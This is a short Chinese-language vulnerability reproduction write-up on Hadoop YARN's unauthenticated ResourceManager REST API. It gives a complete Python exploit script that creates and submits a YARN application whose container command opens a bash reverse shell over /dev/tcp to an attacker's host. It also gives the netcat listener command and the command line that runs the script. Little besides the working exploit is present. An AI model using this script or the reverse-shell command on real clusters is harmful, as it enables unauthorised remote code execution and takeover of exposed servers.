Hadoop
Hadoop就是存储海量数据和分析海量数据的工具。Hadoop到底是干什么用的?YARN 是开源 Hadoop 分布式处理框架中的资源管理和作业调度技术。作为 Apache Hadoop 的核心组件之一,YARN 负责将系统资源分配给在 Hadoop 集群中运行的各种应用程序,并调度要在不同集群节点上执行的任务。Hadoop 学习系列(三)之 YARN 详细解析
思路
由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,攻击者可以通过 hdsf 提供的 restful api 对 hdfs 存储数据进行操作,如进行删除,下载,目录浏览甚至命令执行等,总体的操作思路是
- 在本地监听等待反弹 shell 连接
- 调用 New Application API 创建 Application
- 调用 Submit Application API 提交
直接用写好的脚本去打
漏洞复现
#!/usr/bin/env python
import requests
target = 'http://192.168.__.__:8088/'
lhost = '192.168.__.__' # put your local host ip here, and listen at port 2334
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/2334 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
利用nc监听然后执行命令
nc -lvp 2334
python 1.py http://192.168.__.__:8088